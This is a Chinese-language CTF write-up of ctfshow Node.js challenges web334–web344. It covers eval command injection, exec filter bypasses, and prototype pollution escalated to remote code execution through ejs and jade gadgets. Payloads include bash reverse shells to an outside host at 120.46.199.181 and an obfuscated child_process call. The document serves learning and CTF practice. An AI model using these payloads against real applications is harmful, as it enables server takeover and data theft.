对于javascript和node.js都实在不太懂,因此打算通过看大佬的博客学习相关知识,顺便刷刷这几道题

再看看nodejs官方文档

web334

JS 大小写特性

题目描述处有源码可以直接下载

user.js

1
2
3
4
5
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};

login.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;

var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};

/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);

if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}

req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}

});

module.exports = router;

重点是

1
name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

我们输入的 name 不为 CTFSHOW 然后 name 转换后的大写为 CTFSHOW ,密码为 123456 即可

其实账号直接ctfshow也可以拿flag

但是本题应该是想考两个函数的大小写转换特性

toUpperCase() 函数,字符 ı 会转变为 I ,字符 ſ 会变为 S

toLowerCase() 函数中,字符 İ 会转变为 i ,字符 会转变为 k

web335

无过滤RCE

源码有提示

1
<!-- /?eval= -->

输入?eval=1回显1,猜测执行语句为:console.log(eval(req))

child_process核心库是直接调用我们的/bin/bash,因此可以进行远程RCE

1
2
3
4
5
6
7
8
9
10
11
child_process.exec(command[, options][, callback])
const { exec } = require('node:child_process');

exec('"/path/to/test file/test.sh" arg1 arg2');
// Double quotes are used so that the space in the path is not interpreted as
// a delimiter of multiple arguments.

exec('echo "The \\$HOME variable is $HOME"');
// The $HOME variable is escaped in the first instance, but not in the second.\
----------------------------------------------------------------------
child_process.execSync(command[, options])

exec的同步和异步区别就是在于回显值,所谓异步就是不阻碍程序运行,所以自然不可能产生回显。具体可参考这篇文章Node.js 执行系统命令

这一题我们要使用的是execSync

法一

1
2
?eval=require('child_process').execSync('ls')
?eval=require('child_process').execSync('cat fl00g.txt')

法二

1
2
?eval=require('child_process').spawnSync('ls').stdout.toString()
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()

收集几个命令执行

1
2
3
4
5
require('child_process').spawnSync('ls',['.']).stdout.toString()

require('child_process').execSync('ls').toString()

global.process.mainModule.constructor._load('child_process').execSync('ls',['.']).toString()

web336

过滤exec

法一

过滤了exec,用上一题的法二

1
2
?eval=require('child_process').spawnSync('ls', ['-l', '.']).stdout
?eval=require('child_process').spawnSync('cat', ['fl001g.txt']).stdout

速通,注意,flag文件换了名字

其中的stdout表示缓冲区中的内容,也就是输出结果,也可以在结尾继续追加一个toString()方法,但由于console.log把我们的数据自动解码了一下,所以可以不加

法二

试一下读取下文件,看看过滤了啥,通过全局变量读取当前目录位置

?eval=__filename

读取文件?eval=require('fs').readFileSync('/app/routes/index.js','utf-8')

结果大概格式化一下

1
2
3
4
5
6
7
8
9
10
11
12
where is flag? 
var express = require('express');
var router = express.Router();
/* GET home page. */
router.get('/', function(req, res, next)
{ res.type('html');
var evalstring = req.query.eval;
if(typeof(evalstring)=='string' && evalstring.search(/exec|load/i)>0)
{ res.render('index',{ title: 'tql'}); }
else
{ res.render('index', { title: eval(evalstring) }); } });
module.exports = router;

evalstring.search(/exec|load/i)>0看出明显过滤了exec|load

1
2
3
//%2B就是+,这里一定进行url编码,不然会404(浏览器解析特性+会成为空格好像)
?eval=require("child_process")['exe'%2B'cSync']('ls')
?eval=require("child_process")['exe'%2B'cSync']('cat fl001g.txt')

法三

利用fs模块读取当前目录的文件名,然后再利用fs模块读取这个文件

1
2
?eval=require('fs').readdirSync('.')
?eval=require('fs').readFileSync('fl001g.txt','utf-8')

法四

变量拼接再执行(没懂)

1
var%20s=%27global.process.mainModule.constructor._lo%27;var%20b="ad(%27child_process%27).ex";var%20c="ec(%27cat+fl001g.txt>public/1.txt%27);";eval(s%2Bb%2Bc);

法五

本题不能用,但是这个姿势不错,收集一下

1
process.mainModule.global.process.mainModule.constructor._load("child_process")["\u0065\u0078\u0065\u0063\u0053\x79\x6e\x63"]("bash -i >& /dev/tcp/127.0.0.1/8080 0>&1").toString()

web337

Node.js数组绕过

题目描述给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}

});

module.exports = router;

看到md5就下意识的联想到了PHP的数组绕过,由于php和js都是弱语言,所以这方面不严格

尝试了一下payloada[]=1&b[]=2发现无果,而输入a[]=1&b[]=1返回了flag

前者不行是因为当我们这样传的时候相当于创了个变量a=[1] b=[2]可以看看下面的代码

1
2
3
4
5
6
7
8
a=[1]
b=[2]
a=[1]
b=[2]

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
//打印出来的结果是1flag{xxx}和2flag{xxx}

后者为什么可以我也大致实验了下

1
2
3
4
5
6
7
a=[1];
b=[1];
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
console.log(a.length)
console.log(b.length)
console.log(a===b)

运行可以看出最后一行输出false

我们传参a[]=1&b[]=1在nodejs里实际上就是a=[1];b=[1],输出结果刚好符合条件所以输出了flag,为什么a===b返回false呢?原因是开辟的地址空间是不一样的,虽然内容一样

除了这种方法还可以输入a['x']=1&b['x']=1,这和之前的就不太一样了,前者是创建了一个数组,这个是创建了一个对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//可以自行运行看下结果
a={
"x":1
}
b={
"x":1
}
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
console.log(a.length)
//[object Object]ctfshow{xxxxxx}
console.log(b.length)
//[object Object]ctfshow{xxxxxx}
console.log(a===b)

这部分就和java有点像了,两个对象直接比较并不是说比较属性啥的,而是通过引用(内存里的位置)比较的,因此自然a!==b

web338

原型链污染1

给源码了,下面列出关键代码

utils/common.js

1
2
3
4
5
6
7
8
9
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

routes/login.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}


});

module.exports = router;

我们不用关心 secert 是否有 ctfshow 这个属性,因为当它找不到这个属性时,它会从它自己的原型里找。

注意到copy方法utils.copy(user,req.body);,他会复制2个对象之间的键值对,其中有一个对象是我们所传入的参数,另一个就是user对象,任何一个对象都有一个键叫做__proto__,他是对象的原型,可以理解为父类所以在这里我们可以通过污染原型的值,给secret对象添加ctfshow属性

这里的secert是一个数组,然后utils.copy(user,req.body); 操作是user也是数组也就是我们通过req.bodyPOST请求体传入参数,通过user污染数组的原型,那么secert数组找不到ctfshow属性时,会一直往原型找,直到在数组原型中发现ctfshow属性值为36dboy。那么if语句即判断成功,就会输出flag

payload:{"__proto__":{"ctfshow":"36dboy"}}

web339

预期解

覆盖变量进行RCE

1
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/120.46.199.181/798 0>&1\"')"}}

非预期解

ejs模板渲染的漏洞进行RCE

1
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}

outputFunctionName是ejs模块里opt对象的一个成员属性,由于他一开始未定义,所以我们可以污染原型从而污染outputFunctionName

web340

双层污染

看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}


});

module.exports = router;
1
2
3
4
5
6
7
8
9
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

有些许不同,因为copy里面的user对象后面套了一个userinfo,我们再本地测试一下到底是哪样:

1
2
3
4
console.log(user.userinfo.__proto__)
console.log(user.userinfo.__proto__.__proto__)
//{}
//[Object: null prototype] {}

可以发现第一层外面是一个对象,也就是构造函数,并不是什么object,第二层才是,这也就是所谓的二层污染
我们只需要payload{"__proto__":{"__proto__":{"isAdmin":{"isAdmin":true}}}}

user.__proto__并不是Object.prototypeuser.__proto.__proto__才是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
var payload='{"__proto__":{"__proto__":{"isAdmin":{"isAdmin":true}}}}'
payload=JSON.parse(payload)
console.log(user.userinfo.__proto__.__proto__)
copy(user.userinfo,payload)
console.log({}.__proto__)
//[Object: null prototype] { isAdmin: { isAdmin: true } }

可以看到已经污染到了object了,之后也是利用反弹shell去获取flag

1
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/120.46.199.181/798 0>&1\"')"}}}

POST提交后,POST方法访问api页面,vps就有反应,执行以下命令

env | grep ctfshow

web341

ejs rce污染

来自于ejs模板opts.OutPutFuntcion属性的污染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
};
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
return res.json({ret_code: 0, ret_msg: '登录成功'});
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}

});

module.exports = router;

这题和其他不同的是没有/api接口触发污染点了,所以我们无法使用变量覆盖,这里就得用ejs污染了,同时这里也是需要运用双层污染的知识的

1
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/120.46.199.181/798 0>&1\"');var __tmp2"}}}

注意这里的前面的_tmp1; 和后面的var __tmp2不能删,具体可以看Express+lodash+ejs: 从原型链污染到RCE,是为了闭合代码。
同样POST一下/login接口污染数据,然后请求一个会调用render方法的接口

为什么用bash -c去调用反弹shell,由于我们是在外部运行shell指令,所以他默认是不会识别我们的bash -i反弹shell的,bash -c保证了命令使用bash shell去执行

web342

jade rce

app.js

1
2
3
4
5
6
7
8
9
10
11
12
app.set('views', path.join(__dirname, 'views'));
app.engine('jade', require('jade').__express);
app.set('view engine', 'jade');

app.use(logger('dev'));
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));

app.use('/', indexRouter);
app.use('/login', loginRouter);

改动点在此处,可以发现使用的渲染引擎不再是ejs而是jadejade的污染链也是存在的,参考:

1
{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \" bash -i >&/dev/tcp/120.46.199.181/798 0>&1\"')"}}}

payload与上述文章有所不同,假如按照上述文章的payload(里面没有type),会出现报错

看boogipop的博客说是node.type属性为undefine,所以导致报错,详情请在参考部分点击他的博客

这里注意,不能直接在首页刷新抓包改POST方法到/login,这样子没反应,我一开始一直这样发,浪费很多时间,这应该是格式问题,我是复制web341题的发包格式,然后改下面几个地方,就成功了

web343

jade rce(过滤了,又没有过滤,这叫如过)

payload同上都能打,好奇看了一下login.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
cat login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
};
if(JSON.stringify(req.body).match(/Text/ig)){
res.end('hacker go away');
}else{
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
return res.json({ret_code: 0, ret_msg: '登录成功'});
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}

}


});

这个if(JSON.stringify(req.body).match(/Text/ig))没卵用

web344

node解析重名req

1
2
3
4
5
6
7
8
9
10
11
12
13
14
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}

});

源码逻辑已经给了,相对人性化了太多,来看看逻辑,检查了我们的url参数(编码后)不可以有8c|2c|\,,第一个是一个不可见字符,2,3表示的都是逗号,由于是get方式传参,先编码

逗号给识别出来了,既然逗号被ban了,那该怎么传递多个json参数呢

?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

可以通过下面的代码看出后端如何处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
console.log(req.url);
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
console.log(req.query);
var query = JSON.parse(req.query.query);
console.log(query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}

});

req.query被解析成了一个数组,之后在JSON.parse的解析下变成了对象,内容就是目标的内容,很妙!

首先就是node.js处理req.query.query的时候,它不像php那样,后面get传的query值会覆盖前面的,而是会把这些值都放进一个数组中。而JSON.parse居然会把数组中的字符串都拼接到一起,再看满不满足格式,满足就进行解析,因此这样分开来传就可以绕过逗号了

那么为什么c要编码为%63呢?c前面有双引号为%22假如不编码就是%22c可是2c被ban了,因此得编码一下

参考

ctfshow nodejs篇 | tari Blog这篇有很详细的思考过程,强推
CTFshow-WEB入门-node.js
[CTFSHOW][WEB入门]nodejs部分WP
CTFSHOW nodejs篇
CTFSHOW-NodeJS - Boogiepop Doesn’t Laugh